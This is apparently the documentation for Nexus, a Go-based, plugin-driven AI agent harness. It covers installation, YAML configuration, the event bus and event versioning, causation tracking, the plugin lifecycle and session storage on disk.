Nexus
Nexus is a modular AI agent harness built on a pure event-driven architecture in Go. The core manages only the event lifecycle and plugin registry — all behavior is delivered through composable plugins.
This means you can assemble exactly the agent you need by choosing which plugins to activate, how to configure them, and optionally writing your own.
Why Nexus?
- Event-driven core — Plugins never call each other directly. All communication flows through a central typed event bus, making the system loosely coupled and easy to extend.
- Composable by design — Pick an agent strategy (ReAct, Plan & Execute, Orchestrator), pair it with tools, memory, and an I/O interface, and you have a working agent.
- Minimal dependencies — Only
gopkg.in/yaml.v3beyond the Go standard library. The Anthropic API is called via raw HTTP — no SDK required. - Configuration-driven — YAML profiles let you define entirely different agent behaviors without changing code.
- Session persistence — Every session captures conversation history, thinking steps, plans, and file artifacts to a structured workspace on disk.
What You Can Build
- Coding assistants with shell access, file I/O, and planning capabilities
- Research agents with large context windows and no tool access
- Multi-agent workflows using the orchestrator to decompose tasks across worker subagents
- Document analysis pipelines with PDF extraction and skill-based instructions
- File-driven multi-stage workflows with the ICM plugin — a folder on disk is the workflow, contracts per stage, loops + fan-out + human gates included
- Custom domain agents by writing your own plugins and skills
How This Documentation is Organized
| Section | What you’ll find |
|---|---|
| Getting Started | Installation, building from source, and creating your first config |
| Architecture | Deep dive into the engine, event bus, plugin system, and session management |
| ICM Workflows | File-driven multi-stage agent workflows — rationale, mental model, end-to-end walkthrough |
| Plugin Reference | Every built-in plugin with its configuration, events, and use cases |
| Reference | Complete event type catalog and configuration reference |
| Eval Harness | Golden-trace replay, baseline diffs, online sampling, Inspect-AI-compatible JSON protocol |
| Guides | Tutorials for writing skills and creating custom plugins |
Quick Start
# Clone and build
git clone https://github.com/frankbardon/nexus.git
cd nexus
make build
# Set your API key
export ANTHROPIC_API_KEY="sk-ant-..."
# Run with the default profile
bin/nexus -config configs/default.yaml
See Installation for full details.
Installation
Prerequisites
- Go 1.21+ — Nexus is written in Go and builds with the standard toolchain
- An API key for at least one LLM provider — Nexus ships with first-party providers for Anthropic (Claude) and OpenAI (GPT / o-series). Bring your own key for whichever provider(s) your config activates.
Optional:
- poppler-utils — Required only if you use the PDF reader plugin (
pdftotext,pdfinfo)
Building from Source
git clone https://github.com/frankbardon/nexus.git
cd nexus
make build
This produces a binary at bin/nexus.
Available Make Targets
| Command | Description |
|---|---|
make build | Build binary to bin/nexus |
make run | Build and run with the default config (configs/default.yaml) |
make test | Run all tests |
make fmt | Format code with gofmt |
make vet | Run go vet |
make lint | Run staticcheck (includes vet) |
Setting Your API Key
Each provider plugin reads its key from an environment variable. The default names match the upstream convention: ANTHROPIC_API_KEY for the Anthropic plugin, OPENAI_API_KEY for the OpenAI plugin. Set whichever your active config needs:
# Using Claude
export ANTHROPIC_API_KEY="sk-ant-your-key-here"
# Or using OpenAI
export OPENAI_API_KEY="sk-your-key-here"
Or place them in a .env file in the project root:
ANTHROPIC_API_KEY=sk-ant-your-key-here
OPENAI_API_KEY=sk-your-key-here
You can also pass the key inline (api_key:) or point at a different env var (api_key_env:) per-provider. See the Anthropic and OpenAI plugin pages for the full options, plus Fallback and Fanout for using multiple providers together.
Running Nexus
Run with a specific configuration file:
bin/nexus -config configs/default.yaml
CLI Flags
| Flag | Default | Description |
|---|---|---|
-config | nexus.yaml | Path to the YAML configuration file |
-recall | (none) | Session ID to recall and resume a previous session |
Resuming a Session
To resume a previous session, pass the session ID:
bin/nexus -recall abc123def456
This loads the session’s config snapshot so the agent starts with the same configuration it had originally.
Your First Configuration
Nexus configuration is a single YAML file with two top-level sections: core (engine settings) and plugins (what to activate and how to configure it).
Minimal Configuration
Here’s the simplest useful configuration — a conversational agent with no tools:
core:
log_level: warn
models:
default: balanced
balanced:
provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
max_tokens: 8192
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.memory.capped
nexus.agent.react:
max_iterations: 10
system_prompt: "You are a helpful assistant."
nexus.memory.capped:
max_messages: 100
persist: true
Save this as my-agent.yaml and run it:
bin/nexus -config my-agent.yaml
Understanding the Structure
Core Section
The core section configures the engine itself:
core:
log_level: warn # debug | info | warn | error
tick_interval: 5s # heartbeat interval
max_concurrent_events: 100
models:
default: balanced # which role to use when none specified
reasoning: # high-capability model for planning
provider: nexus.llm.anthropic
model: claude-opus-4-20250514
max_tokens: 16384
balanced: # general-purpose model
provider: nexus.llm.anthropic
model: claude-sonnet-4-20250514
max_tokens: 8192
quick: # fast model for simple tasks
provider: nexus.llm.anthropic
model: claude-haiku-4-5-20251001
max_tokens: 4096
sessions:
root: ~/.nexus/sessions
retention: 30d
id_format: datetime_short
Plugins Section
The plugins section has two parts:
active— a list of plugin IDs to load (order doesn’t matter; dependencies are resolved automatically)- Per-plugin config — each key matching a plugin ID provides that plugin’s settings
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.tool.shell
- nexus.tool.file
nexus.tool.shell:
allowed_commands: ["ls", "cat", "grep", "find"]
timeout: 30s
sandbox: true
Adding Tools
To give your agent capabilities, add tool plugins to the active list and configure them:
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.tool.shell # Shell command execution
- nexus.tool.file # File read/write/list
- nexus.control.hitl # ask_user tool + HITL approvals
- nexus.memory.capped
nexus.tool.shell:
allowed_commands: ["go", "git", "ls", "cat", "grep", "make"]
timeout: 30s
sandbox: true
Tools register themselves automatically when the agent starts. The agent discovers available tools through the event bus — no explicit wiring needed.
Adding Planning
To enable a planning phase before the agent acts, add a planner plugin and set planning: true on the agent:
plugins:
active:
- nexus.io.tui
- nexus.llm.anthropic
- nexus.agent.react
- nexus.planner.dynamic
- nexus.observe.thinking
# ... other plugins
nexus.agent.react:
max_iterations: 10
planning: true
system_prompt: |
You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.
## Guidelines
1. Always explain your reasoning before making changes
2. Run tests after modifications to verify correctness
3. Prefer minimal, targeted changes over broad refactors
4. Ask for clarification when requirements are ambiguous
5. Read files in chunks 16kb or less
6. Follow the existing code style and conventions of the project
nexus.planner.dynamic:
approval: auto # always | never | auto
max_steps: 10
model_role: reasoning # use the high-capability model for planning
See Dynamic Planner and Static Planner for details.
Using System Prompts
System prompts can be defined inline or loaded from a file:
# Inline
nexus.agent.react:
system_prompt: "You are a coding assistant. Be concise and precise."
# From file
nexus.agent.react:
system_prompt: |
You are a coding assistant powered by Nexus. You help users write, debug, refactor, and understand code.
## Guidelines
1. Always explain your reasoning before making changes
2. Run tests after modifications to verify correctness
3. Prefer minimal, targeted changes over broad refactors
4. Ask for clarification when requirements are ambiguous
5. Read files in chunks 16kb or less
6. Follow the existing code style and conventions of the project
Next Steps
- Learn about the architecture to understand how plugins communicate
- Browse the plugin reference to see what’s available
Architecture Overview
Nexus follows a strict event-driven architecture. The engine is intentionally minimal — it provides the event bus, plugin registry, lifecycle management, and session workspace. All behavior comes from plugins.
Core Principle
Plugins never call each other directly. Every interaction flows through the central event bus as typed events. This keeps plugins decoupled and makes the system easy to extend or reconfigure.
flowchart TB
subgraph Engine["🛠 Engine (pkg/engine)"]
direction TB
EB[EventBus]
REG[PluginRegistry]
LM[LifecycleManager]
EB --- REG --- LM
DISPATCH{{Event Dispatch}}
EB --> DISPATCH
end
DISPATCH --> IO[IO Plugins<br/>tui · browser · wails]
DISPATCH --> AG[Agent Plugins<br/>react · planexec · orchestrator]
DISPATCH --> LLM[LLM Providers<br/>anthropic · openai · fallback]
DISPATCH --> TL[Tool Plugins<br/>shell · file · web · knowledge_search]
DISPATCH --> MEM[Memory Plugins<br/>capped · summary · longterm · vector]
DISPATCH --> OBS[Observers<br/>logger · otel · thinking]
classDef engine fill:#1e3a5f,stroke:#4a90e2,stroke-width:2px,color:#fff;
classDef plugin fill:#2d4a3e,stroke:#5fb878,stroke-width:1.5px,color:#fff;
classDef dispatch fill:#4a3a5f,stroke:#9b59b6,stroke-width:2px,color:#fff;
class EB,REG,LM engine;
class IO,AG,LLM,TL,MEM,OBS plugin;
class DISPATCH dispatch;
Engine Components
The engine (pkg/engine/) contains these components:
| Component | File | Purpose |
|---|---|---|
| Engine | engine.go | Top-level orchestrator that wires everything together |
| EventBus | bus.go | Central event dispatch with priority ordering and filtering |
| PluginRegistry | registry.go | Stores plugin factories, creates instances on demand |
| LifecycleManager | lifecycle.go | Boots plugins in dependency order, shuts down in reverse |
| SessionWorkspace | session.go | File-based session persistence |
| ModelRegistry | models.go | Resolves model role names to provider/model/token configs |
| PromptRegistry | prompt.go | Dynamic system prompt assembly from plugin sections |
| ContextManager | context.go | Agent context management (placeholder for future windowing) |
| SystemInfo | system.go | Platform detection (OS, architecture, open commands) |
| Config | config.go | YAML configuration loading and merging |
Boot Sequence
When Engine.Run() is called:
- Config loaded — YAML file is parsed, defaults merged, per-plugin configs extracted
- Session created — A new session workspace is set up on disk (or an existing one is resumed)
core.bootemitted — Signals the start of the boot process- Plugins initialized — Topologically sorted by dependencies, then
Init()called serially - Plugins readied —
Ready()called in parallel on all initialized plugins core.readyemitted — All plugins are up and listening- Event loop — The engine listens for events until a shutdown signal arrives
- Shutdown — Plugins shut down in reverse dependency order,
core.shutdownemitted
sequenceDiagram
autonumber
participant Caller as Caller<br/>(CLI / Embedder)
participant Engine
participant Session
participant Bus as EventBus
participant Plugins
Caller->>Engine: Run(ctx)
Engine->>Engine: Load YAML config
Engine->>Session: Create session workspace
Engine->>Bus: emit core.boot
Bus->>Plugins: Init() in dependency order
Plugins-->>Bus: subscriptions registered
Engine->>Plugins: Ready() in parallel
Engine->>Bus: emit core.ready
Note over Bus,Plugins: Event loop —<br/>plugins drive behavior
Caller-->>Engine: SIGINT / Stop()
Engine->>Plugins: Shutdown() in reverse order
Engine->>Bus: emit core.shutdown
Event Flow Example
Here’s a typical request flow through the system:
sequenceDiagram
autonumber
actor User
participant IO as nexus.io.tui
participant Agent as nexus.agent.react
participant LLM as nexus.llm.anthropic
participant Gates as before:* gates
participant Tool as nexus.tool.shell
User->>IO: types message
IO->>Agent: io.input
Agent->>LLM: llm.request
LLM->>LLM: call Claude API
LLM-->>Agent: llm.response
alt response contains tool calls
Agent->>Gates: before:tool.invoke (vetoable)
Gates-->>Agent: pass
Agent->>Tool: tool.invoke
Tool->>Tool: execute
Tool->>Gates: before:tool.result (vetoable)
Gates-->>Tool: pass
Tool-->>Agent: tool.result
Agent->>LLM: llm.request (loop)
else final answer
Agent->>IO: io.output
IO-->>User: display response
end
Key Design Decisions
Synchronous Dispatch
Events are dispatched synchronously — handlers execute one at a time, ordered by priority. This makes the system predictable and avoids race conditions.
Vetoable Events
Events prefixed with before: are vetoable. Any handler can block the action by setting a veto on the payload. This enables approval workflows (e.g., confirming tool execution).
Plugin Dependencies
Plugins declare their dependencies by ID. The lifecycle manager topologically sorts them to ensure correct init order. Circular dependencies cause a boot failure.
Multi-Instance Plugins
Some plugins (like nexus.agent.subagent) support multiple instances via ID suffixes. For example, nexus.agent.subagent/researcher creates an instance with InstanceID set to the full suffixed ID.
Next Steps
- Event Bus — How events are dispatched, filtered, and prioritized
- Plugin System — The plugin interface, lifecycle, and how to write your own
- Sessions — How session data is persisted to disk
Event Bus
The event bus is the central nervous system of Nexus. Every plugin communicates exclusively through it — emitting events when something happens, and subscribing to events it cares about.
Interface
type EventBus interface {
Emit(eventType string, payload any) error
EmitEvent(event Event[any]) error
EmitAsync(eventType string, payload any) <-chan error
Subscribe(eventType string, handler HandlerFunc, opts ...SubscribeOption) (unsubscribe func())
SubscribeAll(handler HandlerFunc) (unsubscribe func())
EmitVetoable(eventType string, payload any) (VetoResult, error)
Drain(ctx context.Context) error
}
Events
Every event is a typed container with metadata and a Causation block that
records its provenance:
type Event[T any] struct {
Type string // Dotted namespace (e.g., "llm.request")
ID string // Random hex identifier
Timestamp time.Time // When the event was created
Source string // Plugin ID that emitted this event
Payload T // The event-specific data
Causation EventCausation // Auto-filled by the bus — see Causation, below
}
See Causation for the full discussion of how ParentID,
SessionID, AgentID, Sequence, and Depth are populated and how
plugins push their own CausationContext. The short version: the bus does
the bookkeeping. Plugin authors don’t have to thread session identity
through every emit site.
Event types follow a dotted namespace convention:
| Prefix | Domain |
|---|---|
core.* | Engine lifecycle (boot, ready, shutdown, tick, error) |
io.* | User input/output, approvals, status |
llm.* | LLM requests, responses, streaming |
tool.* | Tool invocation and results |
agent.* | Agent turns, plans, subagent lifecycle |
memory.* | Conversation storage, queries, compaction |
skill.* | Skill discovery, activation, resources |
session.* | Session file events |
plan.* | Planning requests, results, progress |
cancel.* | Cancellation requests and coordination |
thinking.* | Thinking step persistence |
Subscribing to Events
Plugins declare their subscriptions in the Subscriptions() method:
func (p *MyPlugin) Subscriptions() []engine.EventSubscription {
return []engine.EventSubscription{
{EventType: "io.input", Priority: 50},
{EventType: "tool.result", Priority: 50},
}
}
Or subscribe dynamically during Init():
func (p *MyPlugin) Init(ctx engine.PluginContext) error {
ctx.Bus.Subscribe("some.event", p.handleEvent, engine.WithPriority(10))
return nil
}
Subscribe Options
| Option | Description |
|---|---|
WithPriority(int) | Execution order — lower values run first. Default is 0. |
WithFilter(EventFilter) | Predicate function that must return true for the handler to fire |
WithSource(pluginID) | Tag the subscription with the subscribing plugin’s ID |
Priority Ordering
Handlers for the same event type execute in priority order (ascending). This is how the system ensures, for example, that the LLM provider processes requests before observers log them.
Common conventions:
- 5–10 — High priority (providers, cancellation handlers)
- 50 — Normal priority (most plugins)
- 90 — Low priority (observers, persistence)
Wildcard Subscriptions
SubscribeAll() registers a handler that receives every event, regardless of type. This is used by the event logger to capture all activity:
ctx.Bus.SubscribeAll(func(event engine.Event[any]) {
// Logs every event in the system
})
Emitting Events
Plugins emit events by calling Emit() with a type string and payload:
ctx.Bus.Emit("tool.result", events.ToolResult{
ID: callID,
Name: "shell",
Output: output,
})
Plugins must declare all event types they may emit in the Emissions() method:
func (p *MyPlugin) Emissions() []string {
return []string{"tool.result", "tool.register", "core.error"}
}
Async Emit
EmitAsync() dispatches an event in a separate goroutine, returning immediately with a channel that receives nil on success or an error:
ch := ctx.Bus.EmitAsync("llm.request", request)
// ... do other work ...
if err := <-ch; err != nil {
// handle error
}
Handlers still run synchronously within the goroutine — EmitAsync only makes the dispatch non-blocking relative to the caller. Used by the fanout plugin to send parallel requests to multiple providers.
Vetoable Events
Events prefixed with before: support vetoing. This enables approval workflows — for example, the TUI can present an approval dialog before a tool runs.
result, err := ctx.Bus.EmitVetoable("before:tool.invoke", toolCall)
if result.Vetoed {
// Action was blocked
fmt.Println("Vetoed:", result.Reason)
return
}
// Proceed with the action
ctx.Bus.Emit("tool.invoke", toolCall)
Handlers veto by modifying the payload:
func (p *MyPlugin) handleBeforeToolInvoke(event engine.Event[any]) {
vr := event.Payload.(*engine.VetoResult)
vr.Vetoed = true
vr.Reason = "User denied tool execution"
}
Event Filters
Filters are predicate functions that gate handler execution:
ctx.Bus.Subscribe("llm.response", p.handleResponse,
engine.WithPriority(10),
engine.WithFilter(func(meta engine.EventMeta) bool {
return meta.Source == "nexus.llm.anthropic"
}),
)
Draining
Drain() waits for all in-flight events to complete. This is used during shutdown to ensure no events are lost:
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
bus.Drain(ctx)
Thread Safety
The event bus is safe for concurrent use. Handler registration and event dispatch use read-write locks. Handler slices are copied before dispatch to allow concurrent emits without blocking.
Events
The pkg/events package defines every typed payload that flows over the
engine bus. Plugins import these types directly; the journal
(pkg/engine/journal/) writes them to disk; out-of-tree consumers
(replay tools, dashboards, MCP servers, embedders) read those journals
and depend on the same struct shapes.
Because the contract is observable to many parties, every change to a payload struct is a potential compatibility event. Nexus uses a simple per-event-type versioning scheme to make those events explicit and auditable.
Versioning convention
Every top-level event-payload struct carries two things:
- A version constant:
<StructName>Version = 1. - A
SchemaVersion int \json:“_schema_version”`` field as the first declared field on the struct.
Producers stamp SchemaVersion = <StructName>Version on every emitted
literal. The journal records the stamped value verbatim, so downstream
consumers can branch on the contract version without correlating to
build metadata or git revisions.
Example:
const LLMRequestVersion = 1
type LLMRequest struct {
SchemaVersion int `json:"_schema_version"`
Role string
Model string
Messages []Message
// ...
}
// Producer:
_ = bus.Emit("llm.request", events.LLMRequest{
SchemaVersion: events.LLMRequestVersion,
Role: "balanced",
// ...
})
Versions start at 1. Nexus is a fresh project — there is no
historical drift to encode in a 0-baseline. The only place 0
appears is the deserialization rule below.
Why per-type versions, not a global one
Because event payloads churn at very different rates. llm.request may
gain a field every quarter; core.tick is unlikely to ever change.
Coupling them into a single global version forces a cascade of
consumer-side compatibility code that is mostly noise.
The v0 == v1 deserialization rule
When a journal record (or a third-party producer that hasn’t yet
adopted the field) leaves out _schema_version, JSON deserializes it
to Go’s zero value: 0. Consumers MUST treat 0 as v1 — the
running code’s contract — rather than reject the payload.
This keeps:
- Journals written before the field existed replayable. Idea 01 (durable journal) shipped before Phase 4 of Idea 10. Replay must flow through the new code path without rewriting old records.
- Embedders that haven’t pulled the latest Nexus minor interoperable. Producers running an older Nexus emit payloads without the field; the new bus should accept them.
The rule is implicit while v1 is the only shipped version: nothing
special happens during unmarshal. The first v2 to ship will register
a {Type, From: 0, To: 1} no-op in pkg/events/compat/ plus the real
{Type, From: 1, To: 2} migrator chained after it. compat.Apply is
the single entry point.
Compat package
pkg/events/compat/ holds field-level migrations between versions. The
public surface is small:
type Key struct {
EventType string // "llm.request"
From, To int
}
type Migrator func(payload map[string]any) (map[string]any, error)
var Migrations = map[Key]Migrator{}
func Apply(eventType string, from, to int, payload map[string]any) (map[string]any, error)
Apply chains one-step migrators from from up to to. With the
registry empty — today’s state — Apply is a no-op pass-through.
Compat is wired into the journal-replay path in two places:
pkg/engine/engine.go—replayPayloadConvertercallscompat.Applybeforejournal.PayloadAs[T]re-types map payloads back into structs for live re-emission duringengine.ReplaySession.pkg/eval/runner/runner.go— same pattern for the eval harness’s case-driven replay path.
When a future PR ships v2 of an event type, the migrator goes into
pkg/events/compat/ and replay-time data flows through it without
touching the engine. No engine code change required.
Lint rule guarantee
make check-events (alias of scripts/check-event-versions.sh,
backed by internal/cmd/check-event-versions/) compares the working
tree’s pkg/events/*.go against a base git revision (default
HEAD~1, override via CHECK_EVENTS_BASE). It fails the build when:
- A field was removed from an existing struct without bumping the
matching
<Name>Versionconstant. - A field was renamed (heuristic: same position + same type, but different name) without a bump.
- A field’s type changed without a bump.
Additive changes (new fields with sensible zero defaults) pass without a bump because they are forward-compatible — older consumers ignore the unknown field, JSON round-trips preserve it.
The rule wires into make lint so existing Go-quality CI gates
catch schema regressions automatically.
False positives (e.g., reordering fields with identical types) are tolerable — the operator just bumps the version trivially. False negatives (a rename slipping through) are the failure case the rule guards against; the position+type+name comparator catches that class.
Author guide
Adding a new event type
- Define the struct in the appropriate per-domain file
(
core.go,llm.go,agent.go, …) withSchemaVersion int \json:“_schema_version”`` as the first declared field. - Add
<Name>Version = 1to that file’s version-constants block. - List the struct in
pkg/events/version_test.go’sversionedPayloads()table so the round-trip test covers it. - Producers must stamp
SchemaVersion: events.<Name>Versionon every literal they emit.
Mutating an existing event type
- Adding a field with a sensible zero default — go ahead. No bump needed; the lint check passes.
- Removing a field — bump
<Name>Versionand register a{Type, From: oldVer, To: newVer}migrator inpkg/events/compat/that drops the field from old payloads (or rewrites it onto a replacement field). - Renaming a field — same as removal: bump the version, register a migrator that copies the old key to the new key.
- Changing a field’s type — same: bump and register a converter.
The pkg/events/compat/compat_test.go placeholder test demonstrates
the registration pattern; copy it for new migrators.
What NOT to version
Helper structs that exist only as nested fields inside top-level
payloads (Message, Citation, ToolCallRequest, Usage, etc.)
deliberately do not carry SchemaVersion. They have no
independent identity on the wire — their version is the version of
the enclosing payload. Versioning them would double-count migrations
and clutter every literal.
When in doubt, version it; the cost of an extra int is dwarfed by
the cost of an undetected breaking change.
Causation
Every dispatched event in Nexus carries a Causation block that records its
provenance: the parent event that caused it, the session it belongs to, the
agent that produced it, and a monotonic per-session sequence number. The bus
populates these fields automatically — plugin authors don’t have to remember
to set them.
Why
Causation is the substrate the Replay primitive walks, the attribution observability collectors filter on, and the dimension the Sub-agent delegation runtime uses to distinguish a parent’s work from a specialist’s. Once it’s present on every event, you can:
- Walk an entire session’s causation DAG to debug what happened.
- Filter envelopes by
AgentIDto inspect just one specialist’s work. - Branch and fork: replay to a sequence, then continue along a different path.
Schema
type EventCausation struct {
ParentID string // EventID of the event whose handler emitted this one
ParentSeq uint64 // Mirrors ParentID via the per-session monotonic sequence
SessionID string // Session this event belongs to
AgentID string // Agent that produced it (sub-agent identity for delegate work)
Sequence uint64 // Monotonic per session; assigned at dispatch
Depth int // Sub-agent recursion depth at emission time
}
Causation lives on both Event[T] and EventMeta. Wildcard subscribers
and filters see it without unwrapping the payload.
How it’s filled
Three sources, in priority order:
- Caller-set fields win. Replay tools and sub-agent runtimes that need
to override the auto-derived values do so by populating
Causationon theEvent[any]they pass toEmitEvent. The bus respects any non-zero / non-empty field. - Dispatch stack supplies
ParentIDandParentSeq. The bus tracks the in-flight event per goroutine; anything emitted inside that goroutine’s handler chain inherits the in-flight event as its parent. - Causation context supplies
SessionID,AgentID,Depth. Two sources here:PushCausationContext(c) func()— per-goroutine stack pushed by callers that have explicit knowledge of who they’re running for (sub-agent dispatch, IO transports binding to a session).SetDefaultCausationContext(c)— bus-wide fallback applied when the calling goroutine has nothing pushed.Engine.StartSessioninstalls theSessionIDhere so every dispatched event carries session attribution even when emitters never callPushCausationContext.
Pushing context
The typical pattern: push at the start of a scoped operation, defer the pop.
if cc, ok := bus.(engine.CausationController); ok {
pop := cc.PushCausationContext(engine.CausationContext{
AgentID: "delegate/analyst/" + subSessionID,
Depth: parentDepth + 1,
})
defer pop()
}
// Every event emitted from this goroutine until pop() carries the AgentID
// and Depth above.
CausationController is an optional interface — checking the assertion at
call sites keeps embedders using a custom bus implementation untouched.
Journal
The journal.Envelope written by pkg/engine/journal carries Seq,
ParentSeq, ParentID, SessionID, AgentID, and Depth alongside the
payload, so downstream replay (pkg/replay) and projection tools can
reconstruct the full causation DAG without re-deriving anything.
Excluded events
Events on the journal exclusion set (core.tick by default) skip seq
assignment, dispatch-stack tracking, and the replay ring — and therefore
have Sequence = 0 and no ParentSeq / ParentID. They still carry the
default SessionID / AgentID from the causation context so observability
tooling can attribute the heartbeats.
Plugin System
Every piece of behavior in Nexus is delivered through plugins. The engine itself only manages the event bus, plugin lifecycle, and session workspace.
Plugin Interface
All plugins implement the engine.Plugin interface:
type Plugin interface {
ID() string // Unique identifier (e.g., "nexus.tool.shell")
Name() string // Human-readable name
Version() string // Version string
Dependencies() []string // IDs that must ALREADY be active (orders boot)
Requires() []Requirement // IDs to auto-activate if absent (see below)
Init(ctx PluginContext) error // Initialize with engine services
Ready() error // Called after all plugins initialized
Shutdown(ctx context.Context) error // Graceful teardown
Subscriptions() []EventSubscription // Events this plugin listens to
Emissions() []string // Event types this plugin may emit
}
Dependencies() vs Requires()
Two related but distinct methods:
Dependencies()only validates that the listed IDs are already active and orders boot (topological sort). If an ID in the list is missing, boot fails. It never activates anything.Requires()activates missing siblings with default config. At boot, the lifecycle walksRequires()transitively from the user-declared active list and appends any missing IDs before the topological sort runs.
Return Requires() []Requirement { return nil } when a plugin has no hard siblings.
Auto-activation semantics
type Requirement struct {
ID string // plugin to auto-activate
Default map[string]any // config used only when user has not configured ID
Optional bool // true → skip silently with WARN when factory is unregistered
}
Merge rule: whole-object replace. If the user supplies any config for the required ID, the user’s config wins entirely and Default is discarded. There is no field-level merge. This keeps precedence predictable and avoids surprise overrides.
Cycles. A cycle in Requires() is detected the same way as a Dependencies() cycle — boot fails with a clear error.
Visibility. Every auto-activation emits an INFO log at boot:
auto-activating plugin nexus.memory.capped (required by nexus.agent.react); config_source=default
After expansion completes, a single "active plugin set resolved" line lists every entry annotated [user] (declared in config) or [auto: required-by=X,config=default|user-override]. Missing optional requirements log WARN and boot proceeds.
Example: ReAct’s Requires().
func (p *Plugin) Requires() []engine.Requirement {
return []engine.Requirement{
{
ID: "nexus.memory.capped",
Default: map[string]any{"max_messages": 100, "persist": true},
},
{ID: "nexus.control.cancel"},
{ID: "nexus.tool.catalog"},
}
}
When a user’s config lists only nexus.agent.react in plugins.active, the engine automatically brings in the conversation, cancel, and catalog plugins at boot. Users can still override any of them by listing the ID in plugins.active with their own config map.
Plugin Context
During initialization, each plugin receives a PluginContext with access to engine services:
type PluginContext struct {
Config map[string]any // This plugin's config from YAML
Bus EventBus // The central event bus
Logger *slog.Logger // Structured logger scoped to this plugin
DataDir string // Session-scoped directory for this plugin's data
Session *SessionWorkspace // The active session workspace
Models *ModelRegistry // Resolve model roles to concrete configs
Prompts *PromptRegistry // Register dynamic system prompt sections
System *SystemInfo // Platform info (OS, arch, open command)
InstanceID string // Full ID including suffix for multi-instance plugins
}
Plugin ID Convention
Plugin IDs use a dotted namespace: nexus.<category>.<name>
| Category | Examples |
|---|---|
agent | nexus.agent.react, nexus.agent.planexec |
llm | nexus.llm.anthropic |
tool | nexus.tool.shell, nexus.tool.file |
memory | nexus.memory.capped, nexus.memory.compaction |
io | nexus.io.tui, nexus.io.browser |
observe | nexus.observe.thinking, nexus.observe.otel |
planner | nexus.planner.dynamic, nexus.planner.static |
skills | nexus.skills |
system | nexus.system.dynvars |
control | nexus.control.cancel |
Plugin Registration
Plugins are registered as factories in main.go:
eng.Registry.Register("nexus.tool.shell", shell.New)
eng.Registry.Register("nexus.tool.file", fileio.New)
The factory function signature is:
func New() engine.Plugin
Registration makes the plugin available — it won’t be instantiated unless it appears in the config’s active list.
Lifecycle
stateDiagram-v2
direction LR
[*] --> registered: factory registered
registered --> initialized: Init(ctx) — serial
initialized --> ready: Ready() — parallel
ready --> ready: handle events
ready --> shutdown: SIGINT / Stop()
shutdown --> [*]: Shutdown() — reverse order
note left of registered
Plugin appears in config
active list — factory
produces an instance.
end note
note right of ready
Plugins talk only
through the event bus.
end note
Boot Phase
- The lifecycle manager reads the
activelist from config - Plugins are topologically sorted by their declared
Dependencies() Init()is called serially in dependency order — each plugin receives itsPluginContextReady()is called on all plugins (can run in parallel)
Runtime
During runtime, plugins interact exclusively through the event bus. They emit events and handle events they’ve subscribed to.
Shutdown Phase
- A shutdown signal arrives (SIGINT, SIGTERM, or programmatic)
Shutdown()is called on each plugin in reverse dependency order- The event bus drains remaining in-flight events
Dependencies
Plugins declare dependencies on other plugin IDs:
func (p *MyPlugin) Dependencies() []string {
return []string{"nexus.llm.anthropic", "nexus.agent.react"}
}
The lifecycle manager ensures dependencies are initialized before dependents. Circular dependencies cause a boot-time error.
Instance-Aware Dependencies
For multi-instance plugins (e.g., nexus.agent.subagent/researcher), the dependency resolver first tries an exact match, then falls back to the base ID (without the suffix).
Multi-Instance Plugins
Some plugins support running multiple instances. In the config, use a slash suffix:
plugins:
active:
- nexus.agent.subagent/researcher
- nexus.agent.subagent/writer
nexus.agent.subagent/researcher:
system_prompt: "You are a research specialist."
tool_name: spawn_researcher
nexus.agent.subagent/writer:
system_prompt: "You are a writing specialist."
tool_name: spawn_writer
Each instance receives its full ID (including suffix) in PluginContext.InstanceID. The instance should use this as its identity rather than the hardcoded base ID.
Subscriptions and Emissions
Plugins declare what they listen to and what they emit. This serves as documentation and enables future validation:
func (p *MyPlugin) Subscriptions() []engine.EventSubscription {
return []engine.EventSubscription{
{EventType: "io.input", Priority: 50},
{EventType: "tool.result", Priority: 50},
}
}
func (p *MyPlugin) Emissions() []string {
return []string{"io.output", "llm.request"}
}
Subscriptions declared here are automatically registered by the lifecycle manager. Plugins can also subscribe dynamically in Init() or Ready().
Plugin Data Directory
Each plugin gets a session-scoped directory for persisting data:
func (p *MyPlugin) Init(ctx engine.PluginContext) error {
// ctx.DataDir points to: ~/.nexus/sessions/<id>/plugins/<plugin-id>/
// Write plugin-specific data here
return nil
}
This directory is created lazily when accessed via Session.PluginDir(pluginID).
Sessions
Every Nexus run creates a session — a persistent workspace on disk that captures conversation history, thinking steps, plans, and plugin data.
Directory Structure
Sessions are stored under the configured root directory (default: ~/.nexus/sessions/):
~/.nexus/sessions/<session-id>/
├── context/
│ └── conversation.jsonl # Conversation history (from memory plugin)
├── files/ # Files created during the session
├── journal/
│ ├── active.jsonl # Live event journal (every bus event,
│ │ # including thinking.step + plan.progress)
│ └── *.jsonl.zst # Rotated, zstd-compressed segments
├── metadata/
│ ├── session.json # Session metadata
│ └── config-snapshot.yaml # Config used for this session
└── plugins/
└── <plugin-id>/ # Per-plugin data directories
Thinking steps and plan progress are no longer kept in dedicated
thinking.jsonl / plans.jsonl files — they live in the journal
alongside every other event. Read them via
journal.Writer.SubscribeProjection (live) or journal.ProjectFile
(post-mortem).
The journal records every bus event except the types listed in
journal.exclude_events (default ["core.tick"]). Excluded events
still dispatch to bus subscribers — only the durable log skips them,
and their seq is not consumed, so on-disk envelopes stay gap-free.
The default suppresses the engine heartbeat, which replay regenerates
from the live tick goroutine and which otel / eval already treat as
noise. See configuration reference
for the full key.
Session Metadata
Each session tracks metadata in metadata/session.json:
type SessionMeta struct {
ID string // Random hex identifier
StartedAt time.Time // When the session began
EndedAt *time.Time // When the session ended (nil if active)
Profile string // Config profile name
Plugins []string // Active plugin IDs
Labels map[string]string // User-defined labels
TurnCount int // Number of conversation turns
TokensUsed int // Total tokens consumed
PromptTokensUsed int // Input tokens consumed
CompletionTokensUsed int // Output tokens consumed
CostUSD float64 // Accumulated cost in USD
Status string // "active" or "ended"
}
Session Workspace API
Plugins interact with the session through the SessionWorkspace struct:
// Write a file to the session workspace
session.WriteFile("context/mydata.json", data)
// Read a file back
data, err := session.ReadFile("context/mydata.json")
// Append to a file (useful for JSONL logs)
session.AppendFile("context/events.jsonl", line)
